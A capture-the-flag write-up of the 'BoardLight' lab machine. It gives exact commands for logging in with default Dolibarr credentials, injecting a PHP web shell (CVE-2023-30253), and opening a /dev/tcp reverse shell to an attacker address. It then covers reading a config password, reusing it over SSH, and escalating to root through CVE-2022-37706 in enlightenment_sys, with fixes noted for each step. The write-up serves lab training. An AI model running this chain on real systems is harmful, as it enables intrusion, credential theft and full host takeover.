BoardLight
Summary
I discovered a secondary virtual-host running Dolibarr 17.0.0 CRM, authenticated using the application's factory-default credentials, then exploited CVE-2023-30253 to inject a PHP web-shell by writing an uppercase <?PHP tag that bypassed the application's own lowercase-tag filter. From the resulting www-data shell, I read the Dolibarr database configuration file, extracted a plaintext password, and found that the same password had been reused as the SSH login for a local system account.
After pivoting to that account, I exploited CVE-2022-37706, a path-traversal and command-injection flaw in an SUID-root Enlightenment desktop utility, to execute arbitrary commands as root and fully compromise the host.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered>"Attack path — how the box was taken
Exact commands 3
Register both hostnames locally before probing.
$ echo "$TARGET board.htb crm.board.htb" >> /etc/hostsFull-range port scan; Apache on port 80 is the primary surface.
$ nmap -sC -sV -p- --min-rate 5000 $TARGET -oN nmap.txtVHost fuzz against board.htb — crm.board.htb returns a unique response size.
$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.board.htb' -u http://$TARGET -fs 15949Exact commands 1
A 302 redirect indicates successful login. Cookie jar is saved to /tmp/board_cj for subsequent requests.
$ curl -sS -c /tmp/board_cj -b /tmp/board_cj -H 'Host: crm.board.htb' -d 'loginfunction=loginfunction&backtopage=&tz=0&tz_string=UTC&dst_observed=0&dst_first=&dst_second=&selectlang=auto&username=admin&password=admin&token=&action=login' "http://$TARGET/index.php" -L -o /dev/null -w '%{http_code}'FixReplace default Dolibarr admin credentials immediately on installationCritical
Exact commands 3
Create the target website container.
$ tok=$(curl -sS -b /tmp/board_cj -c /tmp/board_cj -H 'Host: crm.board.htb' "http://$TARGET/website/index.php?action=addwebsite" | sed -n 's/.*name="token" value="\([^"]*\)".*/\1/p' | head -1); curl -sS -b /tmp/board_cj -c /tmp/board_cj -H 'Host: crm.board.htb' -d "action=addwebsite&token=$tok&website_ref=bd1782719961&mainlang=en_US&fk_default_home=&virtualhost=" "http://$TARGET/website/index.php" -L -o /dev/nullCreate a page inside the website.
$ tok=$(curl -sS -b /tmp/board_cj -c /tmp/board_cj -H 'Host: crm.board.htb' "http://$TARGET/website/index.php?action=createcontainer&website=bd1782719961" | sed -n 's/.*name="token" value="\([^"]*\)".*/\1/p' | head -1); curl -sS -b /tmp/board_cj -c /tmp/board_cj -H 'Host: crm.board.htb' -d "action=addcontainer&token=$tok&WEBSITE_REF=bd1782719961&pageurl=page1&pagetitle=page1&pagetype=page" "http://$TARGET/website/index.php?action=createcontainer&website=bd1782719961" -L -o /dev/nullFetch a fresh CSRF token (critical — stale tokens are rejected), then POST the payload with uppercase PHP tag. 'Saved' in the response confirms the file was written.
$ ref=bd1782719961; pid=1; tok=$(curl -sS -b /tmp/board_cj -c /tmp/board_cj -H 'Host: crm.board.htb' "http://$TARGET/website/index.php?action=editsource&website=$ref&pageid=$pid" | sed -n 's/.*name="token" value="\([^"]*\)".*/\1/p' | head -1); curl -sS -b /tmp/board_cj -c /tmp/board_cj -H 'Host: crm.board.htb' --data-urlencode "PAGE_CONTENT=<?PHP if(isset(\$_GET['c'])){ system(\$_GET['c']); } ?>" -d "action=updatesource&token=$tok&website=$ref&pageid=$pid" "http://$TARGET/website/index.php" | grep -i savedFixPatch Dolibarr immediately to remediate CVE-2023-30253Critical
Exact commands 2
Verify RCE — response should include uid=33(www-data).
$ curl -sS -H 'Host: crm.board.htb' "http://$TARGET/public/website/index.php?website=bd1782719961&pageref=page1&c=id"Upgrade to a reverse listener if an interactive shell is needed. Replace $ATTACKER_IP and ensure a netcat listener is running on port 4444.
$ curl -sS -H 'Host: crm.board.htb' "http://$TARGET/public/website/index.php?website=bd1782719961&pageref=page1&c=bash+-c+'bash+-i+>%26+/dev/tcp/$ATTACKER_IP/4444+0>%261'"Exact commands 1
Dumps the Dolibarr config; look for the dolibarr_main_db_pass field — value is <withheld>
$ curl -sS -H 'Host: crm.board.htb' "http://$TARGET/public/website/index.php?website=bd1782719961&pageref=page1&c=cat+/var/www/html/crm.board.htb/htdocs/conf/conf.php"Exact commands 1
Authenticates as larissa; user flag is <user.txt>.
$ sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 larissa@$TARGET 'id; hostname; cat /home/larissa/user.txt'FixEnforce unique passwords across application and operating-system layersHigh
Exact commands 5
Confirm the SUID bit is set: /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys
$ find / -perm -4000 -type f 2>/dev/null | grep enlightenmentCreate staging directories. The semicolon in the directory name is the injection point.
$ rm -f /tmp/rootbash /tmp/exploit && mkdir -p /tmp/net && mkdir -p '/dev/../tmp/;/tmp/exploit'Write the payload: when executed as root, it produces a SUID copy of bash.
$ printf '%s\n' '#!/bin/sh' 'cp /bin/bash /tmp/rootbash' 'chmod 4755 /tmp/rootbash' > /tmp/exploit && chmod +x /tmp/exploitTrigger the vulnerability. Enlightenment_sys invokes mount as root; the shell splits at ';' and executes /tmp/exploit as root, creating /tmp/rootbash.
$ /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys /bin/mount -o noexec,nosuid,utf8,nodev,iocharset=utf8,utf8=0,utf8=1,uid=$(id -u) '/dev/../tmp/;/tmp/exploit' /tmp///netSpawn a root shell using the SUID bash copy. Id should show uid=0(root). Root flag is <root.txt>.
$ /tmp/rootbash -p -c 'id; cat /root/root.txt'FixRemove the SUID bit from enlightenment_sys and patch or uninstall EnlightenmentCritical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.